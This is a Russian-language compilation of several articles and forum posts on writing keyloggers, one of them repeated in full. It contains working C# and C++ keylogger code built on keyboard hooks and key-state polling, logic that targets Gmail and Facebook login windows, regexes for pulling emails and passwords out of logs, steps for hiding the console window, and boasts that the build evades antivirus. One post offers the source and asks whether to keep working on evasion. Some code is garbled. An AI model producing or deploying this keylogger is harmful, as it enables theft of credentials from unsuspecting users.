• Кейлоггер как написать программу.              Лаборатория информационной безопасности

    Хакерский мир можно условно разделить на три группы атакующих:


    1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


    2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


    3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


    Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


    Зачем ИБ-персоналу эти сомнительные навыки?


    Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


    Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


    Кейлогер


    Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
    Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


    Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



    Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


    1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

    Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


    Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


    1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

    Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


    Умный кейлогер

    Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
    Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


    Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


    Вторая версия кода:


    1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

    Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


    Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


    Еще более умный кейлогер


    Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


    Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


    1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

    Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
    Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


    Для C# это выглядит так:


    1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

    Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


    Бесплатно и полностью не обнаружим


    В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
    Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


    Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


    Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



    В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


    Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


    В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

    Привет всем!

    Идея написания кейлоггера у меня появилась давно, в начале я писал на ассемблере, но не доделал до конца, получилось что он очень глючил, но т.к. работы было много, а комерсом я не занимаюсь, стимул быстро пропал...

    Шло время, я про эту тематику как-то забил, пока мне не попалась на глаза статья, атаки на банковскую систему, при помощи простенького кейлогера и вполне легальной программы, вероятно для пересылки логов и обхода файерволов...

    Мне стало интересно, а как сложно "Программисту средней руки", к коим я себя отношу написать простенький кейлогер, как он будет палится аверами и сколько времени на это потребуется!

    Идея создания такой темы/раздела появилась уже потом, когда я почти закончил этот кейлоггер.

    Но обо всём попарядку, итак ответы на вопросы моего мини-исследования:

    1. На момент написания статьи кейлоггер обнаруживает какой-то Endgame, и-то если поиграть с Relise/Debug и настройками компилирования, детекты пропадают;

    2. Кейлогер отлично работает с UAC, практически не палит себя, т.е. вы никак не поймёте, что ваши клавиши пишутся в лог.

    3. Антивирусы никак не реагируют, т.е. считают что так и надо.

    4.Сколько-же время на это ушло?

    Около 5-ти часов, но это нужно учитывать, что опыта работы в студии у меня нет, пришлось разбираться с кодировкой символов, хуками и т.д. Больше гемора с кодировкой конечно было...

    Итак перейдём к основной части этой статьи:

    1.Постановка задачи:

    Написать кейлоггер локального действия, который может отслеживать нажатия клавиш и записывать их в лог, также нужно в логе указать дату нажатия и окно приложения где было нажата клавиша, кейлогер должен работать с русской и английской раскладкой. Также кейлогер должен работать с ограниченными правами в системе и никак не выдавать себя, пример лога:

    Безымянный - Блокнот: English: M: Fri May 12 20:38:39 2017
    Безымянный - Блокнот: English: ,: Fri May 12 20:38:41 2017

    Безымянный - Блокнот: Russian: : : Fri May 12 20:38:48 2017
    Безымянный - Блокнот: Russian: : Р: Fri May 12 20:38:48 2017
    Безымянный - Блокнот: Russian: : И: Fri May 12 20:38:48 2017
    Безымянный - Блокнот: Russian: : е: Fri May 12 20:38:50 2017

    2.Основная идея написания таких программ:

    Не важно на чём вы хотите писать, основная идея, это поставить hook, если по простому, то это "ловушка" для клавиатуры, смысл в том-что при нажатии пользователем на клавишу, ваша программа будет выполнять вашу функцию (подпрограмму), где вы можете уже определить нажатую клавишу, записать её в лог и т.д.

    В виндовсе есть SetWindowsHookEx , которая устанавливает определяемую программой процедуру фильтра (hook) в цепочку фильтров (hook). Вы должны установить процедуру фильтра (hook) для того, чтобы контролировать в системе определенного рода типы событий. Эти события связаны или с конкретным потоком или со всеми потоками одного и того же рабочего стола, что и вызывающий поток.

    Обратите внимание на последнее предложения, благодаря этого свойства, мы можем отследить все нажатия клавиш, в других приложений.

    Как это сделать, пример:

    Int main(int argc, _TCHAR* argv) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); msgLoop(); return 0; }

    HookProc - Это наша подпрограмма (Которая будет вызываться после нажатия пользователем на клавишу), которую мы позже напишем.

    MsgLoop() - Тоже очень важная вещь, там цикл, если по простому то программа зациклица и будет постоянно вызывать hookProc когда пользователь нажмёт на клавишу, вот её код:

    Void msgLoop() { while (GetMessage(&message, NULL, 0, 0)) { TranslateMessage(&message); DispatchMessage(&message); } }

    Функция GetMessage извлекает сообщение из очереди сообщений вызывающего потока и помещает его в заданную структуру. Эта функция регулирует поступление отправленных сообщений до тех пор, пока помещенное в очередь сообщение доступно для извлечения.

    Функция TranslateMessage переводит сообщения виртуальных клавиш в символьные сообщения.

    Функция DispatchMessage распределяет сообщение оконной процедуре. Она используется, чтобы доставить сообщение, извлеченное функцией GetMessage .

    Теперь приступим к написанию нашей основной функции (подпрограммы), которая вызовится, после нажатия на кнопку пользователем:

    Спойлер: hookProc (Код на С++)

    LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (wParam == WM_KEYDOWN) { HKL Lang_Keyboard; GetActiveKb (Lang_Keyboard); //Получение текущей раскладки. int CodeKeyboard = (int) Lang_Keyboard; p = (PKBDLLHOOKSTRUCT)(lParam); sc = MapVirtualKey(p->vkCode, 0); sc <<= 16; if (!(p->vkCode <= 32)) { sc |= 0x1 << 24; } GetKeyNameTextA(sc, keyNameBuff, 16); myKey = keyNameBuff; if (myKey == "Space") { writeToLog(""); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } else { if (CodeKeyboard == 0x4190419) { //Русская раскладка //************************************************************************************************* if (isCaps() == 1) { myKey = GetSymbolRu (myKey); writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); myKey = GetSymbolRu (myKey); writeToLog(myKey); } //************************************************************************************************* } else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } } return CallNextHookEx(NULL, nCode, wParam, lParam); }


    Расскажу идею, саму программу можете посмотреть во вложении:

    1.Начнём с прототипа нашей подпрограммы:

    LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)

    WParam - Определяет нажата-ли клавиша, поэтому перед тем как что-то делать, мы проверяем нажата-ли клавиша так:

    2.1. Получить раскладку клавиатуры;
    2.2. Получить виртуальный код клавиатуры, по нему мы сможем уже определить что конкретно нажал пользователь;
    2.3. Ну в общем получить наш символ.

    Всё выше названное делает этот код:

    HKL Lang_Keyboard; GetActiveKb (Lang_Keyboard); //Получение текущей раскладки. int CodeKeyboard = (int) Lang_Keyboard; p = (PKBDLLHOOKSTRUCT)(lParam); sc = MapVirtualKey(p->vkCode, 0); sc <<= 16; if (!(p->vkCode <= 32)) { sc |= 0x1 << 24; } GetKeyNameTextA(sc, keyNameBuff, 16);

    GetKeyNameTextA - Поместит название клавиши в буфер keyNameBuff.

    Имя программы, с которой работает пользователь, можно получить так:

    GetWindowTextA(hwnd, title, 100); GetWindowTextA(hwnd, ntitle, 100); ///pars

    Время так:

    // Gettime time_t seconds = time(NULL); tm* timeinfo = localtime(&seconds);

    Ofstream log(logName, ios::app); log << title; log << ": English"; log << ": " << s; log << ": " << asctime(timeinfo) << endl;

    logName - Путь куда будет писаться файл логов, я использую стандартный вывод в поток ofstream, писаться может например в AppData (Туда и пишет), получить путь примерно так:

    Strcpy(logName, getenv("APPDATA")); // Get APPDATA folder strcat(logName, "log.log");

    НО ЭТО ЕЩЁ НЕ ВСЁ, ТЕПЕРЬ САМОЕ ИНТЕРЕСНОЕ, А ИМЕННО GetKeyNameTextA - РАБОТАЕТ ТОЛЬКО С СИМВОЛАМИ ЛАТИНСКОЙ РАСКЛАДКИ, КАК-ЖЕ СДЕЛАТЬ ПОДДЕРЖКУ КИРИЛИЦЫ?

    Можно сделать следующий костыль, просто сопоставить кирилицу и латиницу, примерно так:

    String _eng = "1234567890~!@#$%^&qwertyuiopasdfghjkl;"zxcvbnm,./QWERTYUIOPASDFGHJKL:\"|ZXCVBNM<>?"; char _rus = "1234567890ё!\"№;%:?йцукенгшщзхъфывапролджэячсмитьбю.ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭ/ЯЧСМИТЬБЮ,";

    Номер символа строки _eng соответствует номеру символа _rus, следовательно если мы найдём номер символа _eng, то определим и _rus, тем самым у нас будет кирилица, как это реализовать на примере:

    String GetSymbolRu (string Key) { int Number = 0; string Rezult; Number = _eng.find(Key); if (Number != -1) { char * tmp = new char ; // инициализируем дополнительный массив CharToOemA(_rus88, tmp); // преобразовываем delete tmp; // удаляем дополнительный массив Rezult = Rezult + _rus88; return Rezult; // Присвоили результат } else { return Key; } }

    Итак, находим номер в _eng (Number = _eng.find(Key);), далее по этому номеру уже можем получить символ в кирилице...:)

    НО ПАРА МОМЕНТОВ:

    Си в принципе не дружит с кирилицей, а Visual Studio особенно, поэтому что-бы всё было чётенько, ещё один кастыльчик от меня:

    Char * tmp = new char ; // инициализируем дополнительный массив CharToOemA(_rus88, tmp); // преобразовываем delete tmp; // удаляем дополнительный массив

    Преобразовываем строку с кирилицей, для этого выделяем буфер в памяти и юзаем CharToOemA(_rus88, tmp);, всё теперь наша строка будет нормально писаться в файл и выводится на консоль, не забывайте удалить из памяти delete tmp; потом...:)

    If (CodeKeyboard == 0x4190419) { //Russia log << title; log << ": Russian"; log << ": " << ReplaceResult(s); log << ":^^^ " << s; log << ": " << asctime(timeinfo) << endl; } else if (CodeKeyboard == 0x4090409) { //Eng log << title; log << ": English"; log << ": " << s; log << ": " << asctime(timeinfo) << endl; }

    Ну нужно конечно ещё будет определить доп. клавиши, такие как пробел, ентер и т.д., примерно так:

    If (myKey == "Space") { writeToLog(""); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog("");

    Вроде всё основное, исходник есть во вложении, должно-быть понятно думаю...:)

    Ах-да чуть не забыл:

    1. Запуск налюбом компе в Visual Studio 2010 (Увеличит размер бинарника, но лучше сделать):

    (Проэкт) -> (Свойства) -> (Свойства конфигурации) -> (С/С++) -> (Создание Кода) -> (Библиотека временного выполнения) -> (Многопоточная /МТ) и далее "ОК";

    (Project) -> (Properties) -> (C/C++) -> (Code Generation) -> (Runtime Library) -> (Multi-threaded(/MT)) -> Ok

    2. Я использовал консольный проект, так легче дебажить, поэтому ещё:

    Как убрать консоль:

    Жмем Project => Properties (или Alt+F7 ).

    Затем Linker => Advanced и вбиваем в Entery Point следующее: mainCRTStartup .

    Просто голые сорцы (Там их два), для копипасты и анализа.

    ЕЩЁ ПАРА ВОПРОСОВ ПО КЕЙЛОГЕРУ:

    1)Нужно-ли его развивать, сейчас там вот-что:

    Поддержка латиницы/кирилицы, но не всех символов, если решу развивать, это поправлю;

    В логи пишется небольшой мусор (Не нужно учитывать клавиши, которые помечены символом "/"), это можно убрать.

    Можно добавить поддержку скриншётера.

    2) В общем отпишитесь, нужно-ли развивать далее это, кстати Relise залили на VT, но это не страшно и специально, можно потом продолжить по обходу детекта поработать и как и через колько будет-ли детект у других.

    УБЕДИТЕЛЬНАЯ ПРОСЬБА, ЕСЛИ ВОЗМОЖНО ОТПИШИТЕСЬ, ЕСЛИ СМЫСЛ ДАЛЬШЕ СОЗДАВАТЬ ПОДОБНЫЕ ТЕМЫ И РАЗВИВАТЬ ПОДОБНЫЕ ПРОДУКТЫ ТУТ! :)

    Здравствуйте, Хабровчане.

    Решил написать программный логгер клавиатуры на C++ с использованием WinAPI. Не могу сказать, что преследовал какую-нибудь шпионскую цель, когда писал его, скорее знакомился с хуками на WinAPI. Так как получилось не так уж и плохо, а на Хабре нет статьи про программные логгеры, решил написать свою.

    Как это сделано?

    Для отлавливания нажатия клавиш был использован клавиатурный хук .

    HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

    Для того, чтобы перехватывать нажатия всех клавиатурных клавиш, в качестве параметра idHook удобно указать WH_KEYBOARD или WH_KEYBOARD_LL. Разница лишь в том, что WH_KEYBOARD_LL также перехватывает нажатия системных клавиш (т.е Alt или любая клавиша при зажатом Alt), поэтому его мы и выберем.

    Lpfn — указатель на функцию, обрабатывающую перехваченные сообщения (в нашем случае нажатия клавиш).
    hMod — дескриптор экземпляра приложения, содержащий обрабатывающую функцию.
    dwThreadId — идентификатор потока, сообщения которого мы хотим перехватывать. Нужно установить данный параметр в 0, чтобы перехватывать сообщения всех потоков.

    Возвращаемое значение — дескриптор нашего хука, который при выходе нужно будет освободить функцией UnhookWindowsHookEx.
    Обратившись за справкой в MSDN , мы видим прототип функции, обрабатывающей сообщения данного хука.

    LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

    Параметр nCode должен быть равен HC_ACTION, иначе сообщение предоставляется другому процессу.
    wParam — это одно из следующих значений WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, или WM_SYSKEYUP.
    lParam — указатель на структуру KBDLLHOOKSTRUCT, в полях которой нас интересуют только 2 параметра: vkCode(виртуальный код) и scanCode нажатой клавиши.
    Данная функция должна вернуть значение функции CallNextHookEx, в противном же случае, следующий обрабатывающий событие хук, может получить неверные параметры сообщения.
    Каждый раз при нажатии клавиши, наша программа будет перехватывать это событие и обрабатывать нашей процедурой LowLevelKeyboardProc.

    Для того, чтобы ретранслировать виртуальный и скан код клавиши в символьный вид, нам понадобится функция ToAsciiEx .

    Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

    Первые 2 параметра — виртуальный и скан коды клавиши соответственно.
    lpKeyState — состояние клавиатуры, проверяет какие клавиши нажаты/активны.
    lpChar — указатель на двойное слово, в которое функция запишет символьное представление клавиши.
    uFlags — параметр, указывающий на активность меню.
    dwhkl — идентификатор раскладки клавиатуры.
    Возвращаемое значение — количество символов, записанных в буфер lpChar. Нас интересует случай, когда записан 1 символ.
    В принципе, это 3 основные функции, требуемые для самого простого клавиатурного логгера.

    Немного о программе

    Программа компилируется без RTL в Visual Studio 2013. Таким образом, мы получаем небольшой объём исполняемого файла и невозможность сборки в debug-версии. Данные записываются в лог файл в тот же каталог, где находится.exe файл. Для удобства логгер каждый раз создает новый файл при записи, записывает время нажатия клавиш, имя окна, в котором вводились символы и останавливается по нажатию LSHIFT+RSHIFT. Данный сниффер не адаптирован под полную клавиатуру, некоторые служебные клавиши, например F13 или NUM_LOCK, могут писаться, как . Думаю те, кто хоть немного знаком с C/C++ смогут запросто их добавить. Более того, Вы можете полностью изменить код так, как Вам удобно.

    Хакерский мир можно условно разделить на три группы атакующих:


    1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


    2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


    3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


    Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


    Зачем ИБ-персоналу эти сомнительные навыки?


    Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


    Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


    Кейлогер


    Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
    Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


    Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



    Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


    1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

    Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


    Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


    1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

    Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


    Умный кейлогер

    Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
    Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


    Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


    Вторая версия кода:


    1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

    Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


    Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


    Еще более умный кейлогер


    Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


    Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


    1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

    Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
    Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


    Для C# это выглядит так:


    1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

    Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


    Бесплатно и полностью не обнаружим


    В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
    Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


    Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


    Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



    В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


    Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


    В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

    Кейлоггер или что такое клавиатурный шпион.

    Кейлоггер – небольшой по размерам компонент оборудования или программа, целью которых является одно: перехватить набранные с клавиатуры жертвой символы. Одна из самых неприятных для юзера программ, которая используется хакерами для подделки цифровой идентификации добросовестного пользователя.

